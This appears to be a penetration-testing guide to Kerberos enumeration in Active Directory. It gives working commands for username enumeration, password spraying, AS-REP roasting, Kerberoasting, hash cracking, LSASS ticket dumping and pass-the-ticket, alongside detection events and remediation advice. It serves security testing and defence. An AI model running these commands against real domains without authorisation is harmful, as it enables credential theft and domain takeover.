14 min read

Enumeration

Kerberos Enumeration

Kerberos is the default authentication protocol in Active Directory. Understanding its enumeration is critical for identifying attack vectors like Kerberoasting, AS-REP roasting, and delegation attacks.

Kerberos exposes a small number of surfaces, and each one is a request the protocol is designed to answer. The table is the whole map; the sections below are how to make each request.

Surface Request What comes back Attack it enables
Account discovery AS-REQ, one per candidate name An error code that differs for real and fake accounts Username enumeration with no lockout risk
AS-REP AS-REQ for an account with DONT_REQ_PREAUTH An AS-REP encrypted with the account key Offline crack, no credential needed
TGS TGS-REQ for any SPN, as any authenticated user A service ticket encrypted with the service account key Kerberoasting; the crack depends on the account's password
Delegation LDAP read, then S4U2Self / S4U2Proxy Which objects may impersonate, and to which service Impersonation of a privileged user to a target service
Ticket cache Local read of LSASS, with admin rights The .kirbi and ccache material the host holds Pass-the-ticket to whatever those tickets unlock

User Enumeration via Kerberos

Tip

Kerberos user enumeration doesn't require credentials and generates minimal logs compared to LDAP queries.

Kerberos gives you three enumeration surfaces, and they map onto the three sections below. The KDC will answer whether an account exists (user enumeration), it will hand out a service ticket for any SPN an account holds (Kerberoasting), and it will tell you what an object is allowed to impersonate (delegation). All three are protocol features working as designed — which is also why restricting them requires configuration rather than patching.

Kerbrute

kerbrute userenum reads the error code rather than a login result: an AS-REQ for a non-existent account returns KDC_ERR_C_PRINCIPAL_UNKNOWN, while a real one returns KDC_ERR_PREAUTH_REQUIRED (or an AS-REP if pre-auth is disabled). No password is transmitted and no bad-password counter is incremented, so this does not lock accounts out. It is still one packet per candidate name, so a large wordlist against a busy DC produces a visible burst — pace it and keep the list short by deriving candidates from the naming convention you already observed.

kerbrute.sh
# User enumeration (no creds needed)
kerbrute userenum -d corp.local --dc DC_IP users.txt

# Username bruteforce
kerbrute bruteuser -d corp.local --dc DC_IP passwords.txt username

# Password spray
kerbrute passwordspray -d corp.local --dc DC_IP users.txt 'Summer2024!'

# Common usernames to try
Administrator, admin, guest
svc_*, srv_*, service_*
sql*, backup*, scan*
helpdesk, support, printer

Nmap Kerberos Scripts

The Nmap script answers the same question with less control: you must supply both the realm and a user file, and the output is a list of names the KDC accepted. It is useful when you cannot install kerbrute on the engagement host, and it is the same traffic — one AS-REQ per candidate — so it does not make you quieter.

nmap-krb5.sh
# Enumerate valid users
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='corp.local',userdb=users.txt DC_IP

# Kerberos info
nmap -p 88 --script krb5-enum-users DC_IP

AS-REP Roasting

Warning

Accounts without Kerberos pre-authentication can have their hashes retrieved without credentials.

Pre-authentication is what proves a client knows the password before the KDC will issue a ticket. When the DONT_REQ_PREAUTH flag is set, the KDC skips that step and returns an AS-REP encrypted with the account's key to anyone who asks — so the hash arrives without a credential and without a failed logon. This is a weaker finding than it sounds on a modern estate, because the flag is usually set deliberately for a legacy application or by mistake on a service account, and the value depends entirely on whether the password cracks.

Finding AS-REP Roastable Users

find-asrep.sh
# LDAP query for DONT_REQ_PREAUTH
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -W \
  -b "DC=corp,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=4194304)" sAMAccountName

# PowerView
Get-DomainUser -PreauthNotRequired

# Impacket - no creds, enumerate from userlist
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip DC_IP -format hashcat -no-pass

# Impacket - with creds, find all vulnerable users
GetNPUsers.py corp.local/user:password -dc-ip DC_IP -request

Extracting AS-REP Hashes

The two invocation styles answer different situations. With credentials, GetNPUsers.py corp.local/user:password -request asks the DC for every account with the flag set and returns the set in one pass — that is the efficient form when you already have any account. Without credentials, -usersfile with -no-pass tests the names you enumerated earlier; anything that comes back is both a valid account and a crackable hash.

Cracking AS-REP Hashes

The AS-REP hash is an encrypted blob that can be attacked offline, so the only limits are hashcat's speed and the password's entropy. Mode 18200 accepts the $krb5asrep$ format these tools print. A crack hands you a plaintext password, not a hash — which usually means the password is also valid somewhere else, because service and legacy accounts are the ones most often reused by hand.

get-asrep-hashes.sh
# GetNPUsers - request hashes
GetNPUsers.py corp.local/user:password -dc-ip DC_IP -request -format hashcat -outputfile asrep.txt

# Without credentials (need valid username list)
GetNPUsers.py corp.local/ -usersfile users.txt -dc-ip DC_IP -format hashcat -no-pass

# nxc
nxc ldap DC_IP -u user -p pass --asreproast output.txt

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

Crack the Hash Offline

crack-asrep.sh
# Hashcat - mode 18200
hashcat -m 18200 asrep.txt wordlist.txt -r rules/best64.rule

# John
john --wordlist=wordlist.txt asrep.txt

Kerberoasting

Any authenticated user may request a service ticket for any SPN in the domain, and the KDC encrypts that ticket with a key derived from the service account's password. The ticket is returned to you, so it can be attacked offline — no traffic to the service, no authentication against it, and no risk of lockout. The whole technique rests on one property: the account's password is the encryption key, so the crack succeeds or fails on how strong that password is, not on how the ticket was obtained.

Finding Kerberoastable Users

find-kerberoastable.sh
# LDAP - find users with SPNs
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -W \
  -b "DC=corp,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" \
  sAMAccountName servicePrincipalName

# PowerView
Get-DomainUser -SPN | Select sAMAccountName,servicePrincipalName

# nxc
nxc ldap DC_IP -u user -p pass --kerberoasting output.txt

Extracting TGS Hashes

get-tgs-hashes.sh
# Impacket GetUserSPNs
GetUserSPNs.py corp.local/user:password -dc-ip DC_IP -request -outputfile tgs.txt

# Request specific SPN
GetUserSPNs.py corp.local/user:password -dc-ip DC_IP -request-user sqlservice

# Rubeus
.\Rubeus.exe kerberoast /outfile:tgs.txt

# Rubeus - target specific user
.\Rubeus.exe kerberoast /user:sqlservice /outfile:tgs.txt

# Rubeus - use RC4 downgrade (more crackable)
.\Rubeus.exe kerberoast /tgtdeleg /outfile:tgs.txt

Cracking TGS Hashes

The encryption type decides the mode, and the encryption type is no longer something you choose as freely as older guides suggest. Hashcat mode 13100 is RC4-HMAC, which cracks an order of magnitude faster than AES; 19600 is AES128 (etype 17) and 19700 is AES256 (etype 18), with 19800 and 19900 the pre-authenticated variants. Since CVE-2022-37966 (November 2022) the default ticket encryption is AES-SHA1, and Server 2025 DCs do not issue RC4 TGTs at all, so /tgtdeleg — the old trick for forcing an RC4 ticket — only produces an RC4 ticket where the account is still RC4-capable. Check the etype in the returned ticket before choosing the mode; assuming RC4 on a current estate wastes the request and, on a monitored one, produces exactly the RC4 ticket request that alerts fire on.

crack-tgs.sh
# Hashcat - mode 13100 (RC4) or 19700 (AES256)
hashcat -m 13100 tgs.txt wordlist.txt -r rules/best64.rule
hashcat -m 19700 tgs.txt wordlist.txt -r rules/best64.rule

# John
john --wordlist=wordlist.txt tgs.txt

Delegation Enumeration

These are the same three attributes the LDAP page queries, read here for their Kerberos meaning. An unconstrained host is a TGT collector; a constrained account's msDS-AllowedToDelegateTo list is the set of services it can impersonate to; RBCD names who may impersonate to the target. Rank what you find by reachability rather than by type: a constrained delegation to cifs/fs01 is a file server, while the same setting pointing at ldap/dc01 is the domain. Exploitation of all three is on Delegation Attacks.

Unconstrained Delegation

Warning

Machines with unconstrained delegation cache TGTs of connecting users - high-value targets!
unconstrained-delegation.sh
# LDAP - TRUSTED_FOR_DELEGATION flag
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -W \
  -b "DC=corp,DC=local" "(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName

# PowerView
Get-DomainComputer -Unconstrained
Get-DomainUser -Unconstrained

# nxc
nxc ldap DC_IP -u user -p pass --find-delegation

Constrained Delegation

constrained-delegation.sh
# LDAP - msDS-AllowedToDelegateTo
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -W \
  -b "DC=corp,DC=local" "(msDS-AllowedToDelegateTo=*)" \
  sAMAccountName msDS-AllowedToDelegateTo

# PowerView
Get-DomainComputer -TrustedToAuth
Get-DomainUser -TrustedToAuth

# List what services they can delegate to
Get-DomainComputer -TrustedToAuth | Select sAMAccountName,msDS-AllowedToDelegateTo

Resource-Based Constrained Delegation

rbcd.sh
# LDAP - msDS-AllowedToActOnBehalfOfOtherIdentity
ldapsearch -x -H ldap://DC_IP -D "user@corp.local" -W \
  -b "DC=corp,DC=local" "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" sAMAccountName

# PowerView
Get-DomainComputer | Where-Object {$_."msDS-AllowedToActOnBehalfOfOtherIdentity"}

# Check RBCD configuration
Get-DomainComputer TARGET | Select -ExpandProperty msDS-AllowedToActOnBehalfOfOtherIdentity

Ticket Operations

Danger

Ticket extraction is the point where this page stops being read-only. Rubeus dump, sekurlsa::tickets and any LSASS access need local administrator on the host, they capture the credentials of everyone who has logged on to it, and they are the behaviour EDR products are written to catch. Confirm the host is in scope, that the rules of engagement authorise credential access, and that the client expects an EDR alert at this timestamp — a pass-the-ticket that works and is not expected is an incident.

Tickets in memory are both an attack material and an evidence source. triage lists what the current logon session holds, which tells you which services this host has authenticated to; dump exports them, and a service ticket for a target you can reach is lateral movement without a password. On the Linux side the equivalent is a ccache file named by KRB5CCNAME, and ticketConverter.py moves between the two formats. Everything in this section needs local administrator on the host, and the export itself is what EDR products watch for.

Extracting Tickets

extract-tickets.sh
# Rubeus - list all tickets
.\Rubeus.exe triage

# Rubeus - dump tickets
.\Rubeus.exe dump

# Mimikatz - export tickets
sekurlsa::tickets /export

# Impacket - request TGT
getTGT.py corp.local/user:password -dc-ip DC_IP

# Impacket - request service ticket
getST.py corp.local/user:password -dc-ip DC_IP -spn cifs/target.corp.local

Using Tickets

use-tickets.sh
# Rubeus - Pass the Ticket
.\Rubeus.exe ptt /ticket:ticket.kirbi

# Mimikatz - Pass the Ticket
kerberos::ptt ticket.kirbi

# Impacket - Use ccache
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass corp.local/user@target.corp.local

# Convert between formats
ticketConverter.py ticket.kirbi ticket.ccache

Comprehensive Tool Commands

The two tool suites overlap almost completely, and the choice is operational. Rubeus runs on a Windows foothold, needs local admin for the ticket operations, and its harvest and monitor modes watch for new logons and capture the resulting tickets as they appear — the fastest way to catch a Domain Admin who logs on while you are on a host with unconstrained delegation. Impacket runs from Linux and keeps everything in files, which is easier to hand to a client as evidence and easier to script. Pick one per phase rather than alternating, or you will duplicate requests and double the log volume for the same result.

Rubeus Full Enumeration

rubeus-enum.sh
# Current user's tickets
.\Rubeus.exe triage

# Kerberoast all users
.\Rubeus.exe kerberoast

# AS-REP roast
.\Rubeus.exe asreproast

# Harvest tickets continuously
.\Rubeus.exe harvest /interval:30

# Monitor for 4624 logons
.\Rubeus.exe monitor /interval:30 /targetuser:Administrator

Impacket Suite

impacket-krb.sh
# Full Kerberoasting
GetUserSPNs.py -dc-ip DC_IP corp.local/user:password -request

# AS-REP Roasting  
GetNPUsers.py -dc-ip DC_IP corp.local/user:password -request

# Request TGT for user
getTGT.py corp.local/user:password -dc-ip DC_IP

# Request service ticket
getST.py corp.local/user:password -dc-ip DC_IP -spn cifs/target -impersonate Administrator

# Convert ticket formats
ticketConverter.py ticket.kirbi ticket.ccache

What the Defender Sees

Kerberos attacks are unusually visible at the domain controller because every step is a ticket request, and unusually easy to miss if nobody is reading those events:

  • 4768 with a failure status: a burst of AS-REQ failures for names that do not exist (0x6) is username enumeration. Success with PreAuthType 0 for a user who normally pre-authenticates is AS-REP roasting.
  • 4769 with RC4: the ticket encryption type is in the event — 0x17 is RC4, 0x12 is AES256. One account requesting RC4 tickets for many SPNs in a short window is the textbook Kerberoast signature, and on a current estate it is also an anomaly, because AES is the default.
  • 4771: Kerberos pre-authentication failed — the record a password spray leaves behind, and the reason the lockout threshold governs the whole technique.
  • Ticket extraction: sekurlsa::tickets, Rubeus dump and LSASS access are endpoint events, not DC events. They are the part of this page EDR is built to catch, which is why ticket operations need explicit authorisation.

Evidence Collection

Kerberos findings are ticket findings, so the evidence is the ticket metadata plus the account whose key encrypts it — never the cleartext password in the body of a report.

Roastable account lists: The AS-REP and SPN sets as returned, with the query or script that produced them and the count. The lists are the finding; the cracked value goes in the client-only appendix.

Ticket metadata: For each ticket: requesting account, target SPN, encryption type (0x17 RC4 vs 0x12 AES256), issue time. The etype is what decides the crack and the detection story.

Crack evidence: Hashcat mode, wordlist and rules, runtime, and the recovered password reported as a hashed indicator plus its source. A password in a PDF is a credential leak in the client's own report.

Delegation attributes: The three attributes per object, verbatim, with the SPNs listed rather than summarised — a delegation to ldap/dc01 and one to cifs/fs01 are different findings.

Ticket extraction record: Which host, which account, whether LSASS was touched, and the EDR alert it generated. This is the row the client's IR team will ask for.

False Positive Identification

  • A crack that fails: An AS-REP or TGS hash that does not crack is not a vulnerability — it is a strong password. Report the exposure of the hash, not a compromise.
  • RC4 is no longer a choice: Since CVE-2022-37966 the default is AES-SHA1 and Server 2025 DCs do not issue RC4 TGTs. A Kerberoast result with AES etype cracks far slower; do not promise an RC4-speed crack on a current estate.
  • A gMSA with an SPN: Managed service accounts hold SPNs and are not crackable. Exclude them from the roastable list instead of inflating it.
  • A delegation attribute with no reachable target: Delegation to an SPN on a host you cannot route to is a configuration finding, not an impersonation path. Say which, or the severity is wrong.

Testing Checklist

Kerberos enumeration is read-only until a hash is cracked, so the checks here stay on the enumeration side of that line.

Confirm the enumeration

  • ☐ kerbrute userenum returns valid names without a password attempt; the list is deduplicated and dated.
  • ☐ GetNPUsers.py -request returns an AS-REP hash, and the account it came from is one with pre-authentication actually disabled.
  • ☐ GetUserSPNs.py -request returns a TGS, and its etype (0x17 RC4 vs 0x12 AES) is recorded before a crack is attempted.
  • ☐ Delegation is enumerated as three attributes per object, with the SPNs listed rather than summarised.

Confirm the exposure is real

  • ☐ A TGS for a machine or managed account is removed from the crack list - 120-character managed passwords do not crack at a useful rate.
  • ☐ hashcat -m 18200 and -m 13100 runs record mode, wordlist and runtime; an uncracked hash is an exposure, not a compromise.
  • ☐ A delegation attribute pointing at an SPN you cannot route to is reported as configuration, not as impersonation.
  • ☐ Rubeus dump / secretsdump extraction names the host and account, and the ticket is confirmed in use with klist.

Remediation & Defense

Kerberos hardening is mostly about account passwords and delegation hygiene, because the protocol itself is working as designed.

Reduce the roastable surface

  • • Require pre-authentication on every account; AS-REP roasting disappears with it
  • • Give service accounts long random passwords or move them to gMSA
  • • Remove SPNs from privileged user accounts, and audit new SPN registration

Control delegation and tickets

  • • Remove unconstrained delegation from everything except domain controllers
  • • Replace constrained delegation with RBCD where the application allows it, and audit write access to the RBCD attribute
  • • Put Tier 0 accounts in Protected Users, which blocks delegation and forces AES

Detect the requests

  • • Alert on 4769 requests with RC4 etype for many SPNs from one account
  • • Alert on 4768 successes with pre-auth type 0, and on bursts of 0x6 failures
  • • Treat LSASS access and ticket export as high-severity endpoint events